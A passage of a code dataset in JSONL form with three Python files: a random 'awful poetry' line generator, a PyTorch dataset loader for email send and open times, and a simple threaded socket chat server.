\"badly\"]\n\nstructures = [[articles,subjects,verbs,adverbs],\n [articles,subjects,verbs]]\n\nfor i in [1,2,3,4,5]:\n line = \"\"\n for i in structures[random.randint(0,1)]:\n line += random.choice(i) + \" \"\n print(line)\n time.sleep(1)\n","sub_path":"programming/python/programming-in-python/python3-practice/chapter1/awfulpoetry1_ans.py","file_name":"awfulpoetry1_ans.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"64827458","text":"import torch\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\nclass Dataset(torch.utils.data.Dataset):\r\n def __init__(self, path_to_file, static_features_count=None, categorical_features=[]):\r\n df = pd.read_csv(path_to_file)\r\n self.total_data_len = len(df)\r\n cols_list = df.columns.to_list()\r\n static_features_count = static_features_count or cols_list.index('M')\r\n static_features_cols = cols_list[:static_features_count]\r\n\r\n self.m_series = df['M']\r\n\r\n self.df_static_features = pd.concat(\r\n [self.__class__.sanitize_static_feature(df[f]) for f in static_features_cols],\r\n axis=1)\r\n self.df_send_times = df[cols_list[static_features_count + 1::2]].applymap(self.time_str_to_f)\r\n self.df_open_times = df[cols_list[static_features_count + 2::2]].applymap(self.time_str_to_f)\r\n\r\n @staticmethod\r\n def sanitize_static_feature(f):\r\n if not(f.dtype == object or f.dtype == np.int64):\r\n return f\r\n return pd.get_dummies(f, prefix=f.name)\r\n\r\n def static_features_number(self):\r\n return len(self.df_static_features.columns)\r\n\r\n def __getitem__(self, index):\r\n m = self.m_series[index]\r\n return (\r\n torch.tensor(self.df_static_features.iloc[index].to_list()),\r\n torch.tensor(\r\n list(zip(\r\n self.df_send_times.iloc[index].to_list()[:m],\r\n self.df_open_times.iloc[index].to_list()[:m]\r\n ))\r\n )\r\n )\r\n\r\n def __len__(self):\r\n return self.m_series.size\r\n\r\n @staticmethod\r\n def time_str_to_f(s):\r\n if not isinstance(s, str):\r\n return 0.0\r\n h, m = [int(x) for x in s.split(':')]\r\n return h + m / 60.0\r\n","sub_path":"Timing Model Torch/ml_timing - Kopie/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"290163299","text":"# -*- coding: utf-8 -*-\nimport socket\nimport store\nfrom _thread import *\n\nprint('hello and welcome to AidanJHahn\\'s chat server.')\nprint('incoming text should appear here.')\nprint('warning: over 5 connections will result in extreme errors.')\n\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserversocket.bind(('', 1024))\nserversocket.listen(5)\n\nwhile True:\n conn, addr = serversocket.accept()\n start_new_thread(store.threaded_client(conn,))\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}